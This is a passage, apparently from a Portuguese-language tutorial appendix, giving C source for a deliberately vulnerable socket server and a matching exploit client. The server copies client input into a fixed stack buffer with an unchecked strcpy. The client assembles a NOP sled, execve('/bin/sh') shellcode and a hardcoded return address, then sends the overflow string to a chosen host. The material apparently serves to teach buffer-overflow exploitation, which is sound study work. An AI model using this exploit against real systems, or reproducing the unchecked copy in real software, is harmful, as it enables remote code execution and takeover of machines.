	/* Socket em modo de escuta */
	if (listen(socket_descriptor, BACKLOG) == -1) {
		cleanup(socket_descriptor, incoming_socket);
		quit_with_error("Não foi possível colocar o socket em modo de escuta\n.");
	}

	length = sizeof(my_address);
	printf("Servidor vulnerável iniciado e em escuta...\n");

	/* Laço infinito em que o servidor receberá requisições */
	while (1) {
		/* Buffer de recebimento é zerado a cada nova conexão */
		for (index = 0; index < BUFFER_SIZE; index++)
			buffer[index] = '\0';

		/* Estabelecimento de conexão com o cliente */
		if ((incoming_socket = accept(socket_descriptor, (struct sockaddr *) &their_address, &length)) == -1) {
			cleanup(socket_descriptor, incoming_socket);
			quit_with_error("Não foi possível aceitar conexão.\n");
		}

		/* Impressão de texto de depuração */
		printf("Descritores dos sockets: Servidor: %d, Conexão: %d\n", socket_descriptor, incoming_socket);
		printf("Conexão a partir de %s...\n", inet_ntoa(their_address.sin_addr));
		send(incoming_socket, "Bem-vindo ao servidor vulnerável. Comporte-se...\n", 49, 0);
		index = 0;

		/* Leitura de mensagem enviada pelo cliente conectado */
		while ((message_length = read(incoming_socket, buffer + index, 1)) > 0) {
			index += message_length;
			if (buffer[index - 1] == '\0')
				break;
		}

		/* Impressão de texto de depuração */
		printf("Descritores dos sockets: Servidor: %d, Conexão: %d\n", socket_descriptor, incoming_socket);
		printf("Mensagem recebida: %s\n", buffer);

		/* Chamada da função de processamento da mensagem recebida */
		process(buffer);
		/* Fechamento da conexão com o cliente */
		close(incoming_socket);
	}
	/* Liberação do socket servidor */
	cleanup(socket_descriptor, incoming_socket);
	return 0;
}

/* Processamento da mensagem do cliente.
 * Apenas efetua cópia da string para buffer local, que poderá ser utilizado por outra thread de execução */
void process(char *buffer) {
	char local_buffer[BUFFER_SIZE];

	strcpy(local_buffer, buffer);
}

void quit_with_error(char * error_message) {
	fprintf(stderr, "%s", error_message);
	exit(1);
}

void cleanup(int socket_descriptor, int incoming_socket) {
	if (socket_descriptor != -1)  {
		close(socket_descriptor);
		close(incoming_socket);
	}
}

8.2. Implementação do cliente


#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define BUFFER_SIZE 100
#define NOP '\x90'
#define OFFSET 50

/* Descritor do socket utilizado pelo cliente para efetuar conexão */
int socket_descriptor = -1;
/* Endereço de retorno */
char return_address = {0xBF, 0xFF, 0xF8, 0xD4};

/* Protótipos de funções */
/* Rotina para fechamento da conexão com o servidor */ 
void cleanup();
/* Função de saída em caso de erro */
void quit_with_error(char * error_message);

/* Mensagem com código malicioso */ 
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

/* String que será preparada para provocar o estouro no buffer remoto */ 
char large_string[BUFFER_SIZE + 9];

/* Ponto de entrada do programa */ 
int main(int argc, char *argv[]) {
	/* Registro para armazenar endereço do servidor */ 
	struct sockaddr_in server_address;
	/* Registro para armazenar resolução do endereço fornecido */ 
	struct hostent *server;
	/* Inteiro para armazenar porta do servidor */ 
	int server_port = 0;
	int index, length;

	/* Checagem de parâmetros do cliente */
	if (argc!=3) {
		fprintf(stderr,"Sinopse: %s <host> <porta>\n", argv[0]);
		exit(1);
	}

	/* Obtenção da porta a partir da linha de comando */
	server_port = atoi(argv[2]);
	/* Criação de um socket TCP */
	socket_descriptor = socket(AF_INET, SOCK_STREAM, 0);

	/* Checagem da criação do socket TCP */
	if (socket_descriptor < 0) {
		quit_with_error("Não foi possível abrir socket TCP.\n");
	}

	/* Checagem do hostname fornecido como parâmetro */
	if ((server = gethostbyname(argv[1])) == NULL) {
            	quit_with_error("Host inválido.\n");
        }

	/* Montagem do registro que armazena o endereço da máquina executando o servidor */
	server_address.sin_family = AF_INET;
	server_address.sin_port = htons(server_port);
	server_address.sin_addr = *((struct in_addr *) server -> h_addr);
	memset(&(server_address.sin_zero), '\0', 8);

	printf("Cliente tentando conexão...\n");

	/* Estabelecimento de conexão com o servidor */
	if (connect(socket_descriptor, (struct sockaddr *)&server_address, sizeof(struct sockaddr)) == -1) {
		quit_with_error("Não foi possível conectar-se com o servidor.\n");
	}

	printf("Conectado...\n");

	/* Montagem da string que será enviada ao servidor */
	length = strlen(shellcode);
	for (index = 0; index < BUFFER_SIZE + 4; index++) {
		if (index < OFFSET || index >= OFFSET + length)
			large_string[index] = NOP;
		else large_string[index] = shellcode[index - OFFSET];
	}
	large_string[104] = return_address[3];
	large_string[105] = return_address[2];
	large_string[106] = return_address[1];
	large_string[107] = return_address[0];
	large_string[108] = 0;

	/* Envio da string preparada */
	send(socket_descriptor, &large_string, strlen(large_string) + 1, 0);
	
	printf("Mensagem enviada...\n");

	cleanup();
	return 0;
}

void quit_with_error(char * error_message) {
	cleanup();
	fprintf(stderr, "Erro: %s", error_message);
	exit(1);
}

void cleanup() {
	if (socket_descriptor != -1)  {
		close(socket_descriptor);
	}
}